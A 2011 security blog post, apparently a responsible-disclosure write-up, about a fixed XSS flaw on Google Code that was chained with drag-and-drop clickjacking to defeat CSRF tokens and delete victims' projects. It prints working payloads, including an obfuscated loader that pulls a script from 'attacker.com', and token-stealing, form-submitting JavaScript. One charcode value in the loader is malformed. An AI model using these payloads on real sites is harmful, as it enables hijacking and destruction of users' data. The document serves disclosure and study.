Sunday, 29 May 2011

CSRF Protection bypass with XSS in Google Code

In my earlier post, I discussed the “Self-Only” XSS exploitation in Google Code. Today I’m going to discuss about how I was able to bypass CSRF protection using XSS vulnerability in Google Code. The attacker was able to delete the projects of authenticated victim from Google Code Project Hosting Server. As this bug has been fixed by Google, I’m disclosing it here.

Cross-site Scripting Vulnerability:

Google Code hosts the example codes for the various APIs used by other applications. One of them is Google Books Search API. The vulnerable page is at
http://code.google.com/apis/books/docs/viewer/examples/book-dataapi-titlesearch.html

This page shows the embedded book that matched the search term.


When a book is requested, the page makes a JSON request by using Google Books Data API call and displays first matched result in embedded viewer. The problem is while processing the request; the page outputs the user query on page in message.

So when requested for book “<img src=1 onerror=’alert(document.domain)’>”, due to lack of data sanitization when outputting the data back to page, the page executed the malicious JavaScript and becomes vulnerable to cross-site scripting.







XSS Exploitation:

To exploit this vulnerability, I used HTML5 Drag-Drop API with clickjacking method. Krzysztof Kotowicz has explained this technique very well in his blog post. I used his “Alphabet Hero” POC with this HTML5 Drag-Drop tutorial.





This is basically a drag-drop game where user has been asked to put garbage in a dustbin.


The last piece of garbage has XSS payload in ‘data-payload’ attribute and an invisible iframe with vulnerable page as source is following it till it drops the object. The payload used for this POC is : <img src=1 onerror=’alert(document.domain)’>





As soon as the object is dropped, a link to publish score has been shown which is on top of the ‘Go’ button from vulnerable page.





When a victim clicks ‘Score’ button/link, the XSS payload gets executed and pops up an alert box saying ‘code.google.com’.





Attack: CSRF Protection bypass to delete Google Code Projects with XSS

We know that CSRF protections can be bypassed with XSS. Google has implemented token based CSRF protection for most of the critical actions. One of them is deletion of hosted project in Google Code Project Hosting. The uses are allowed to host their projects on code.google.com domain. The advanced option in every project has ‘Delete Project’ form and it is protected by token.

Now to conduct this attack successfully, an attacker must know following things:
1.    Project Name
2.    Valid token

With above information, an attacker can craft a POST request to following page to delete the project:

http://code.google.com/p/<project_name>/adminAdvanced.do

with data as token=<valid_token>&deletebtn=Delete+project


This way is only applicable to specific user with specific project name. To make it generic for all Google Code users, I followed this process:
1.    Identify username link by requesting http://code.google.com and extracting ‘projects-dropdown’ element. The result will be link like http://code.google.com/u/amolnaik4
2.    Request the link found in step-1 and extract ‘owner’ element. This element has links in <a href=<project_link>> tag for all the projects under the user.
3.    Request the project link and extract token.
4.    Create a form with POST request to <project_link>/adminAdvanced.do with token & button and submit the form.

This way it’ll be generic for all the users which are visiting the attacker site. When exploiting this, the paper written by Nytro comes handy.
Following is the JavaScript file the attacker will host on his/her server along with Drag-Drop game.





Let’s see how it works:
Currently victim has 2 projects in his Google Code account.


The attacker includes the malicious javascript file in XSS payload in HTML5 Drag-Drop game. The payload will looks like this: <img src=1 onerror='document.write(eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,4747,97,116,116,97,99,107,101,114,46,99,111,109,47,99,111,100,101,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59)));'>
Where the decoded payload looks like: document.write('<script src="http://attacker.com/code.js"></script>');

When the last item in game is dragged to the dustbin, the above payload will be placed in vulnerable page.


When victim clicks on ‘Score’ link, the payload starts executing. The first step is to identify user link. The first iframe will request to http://code.google.com and will get user link with document.getElementById("iframe").contentDocument.getElementById("projects-dropdown");









Now the exploit will request the above user link (http://code.google.com/u/amolnaik4 ) for project listing and will pick up the first project link.


To get the first project link, I used document.getElementById("iframe1").contentDocument.getElementsByName("owner")[0].getElementsByTagName("a")[0].href;


The next step is to get the token. The next iframe will request to http://code.google.com/p/mutest/adminAdvanced.


Token will be extracted by document.getElementById("iframe2").contentDocument.forms[1].token.value;






Now simply craft a POST form and submit. The following lines used to do this:

document.writeln('<form width="0" height="0" method="POST" action="'+x+'adminAdvanced.do">'); document.writeln('<input type="hidden" name="token" value="' + token + '" />'); document.writeln('<input type="hidden" name="deletebtn" value="Delete+project" />'); document.writeln('</form>'); document.forms[0].submit();

where x is the project link (http://code.google.com/p/mutest/)

Done!! The first project is scheduled for deleted.









The attacker can iterate through all the projects under the victim account and can schedule for deletion.

TimeLine:

Bug discovered:11th April 2011
Reported to Google: 13th April 2011
Bug fixed by Google: 25th April 2011
Public Disclosure: 30th April 2011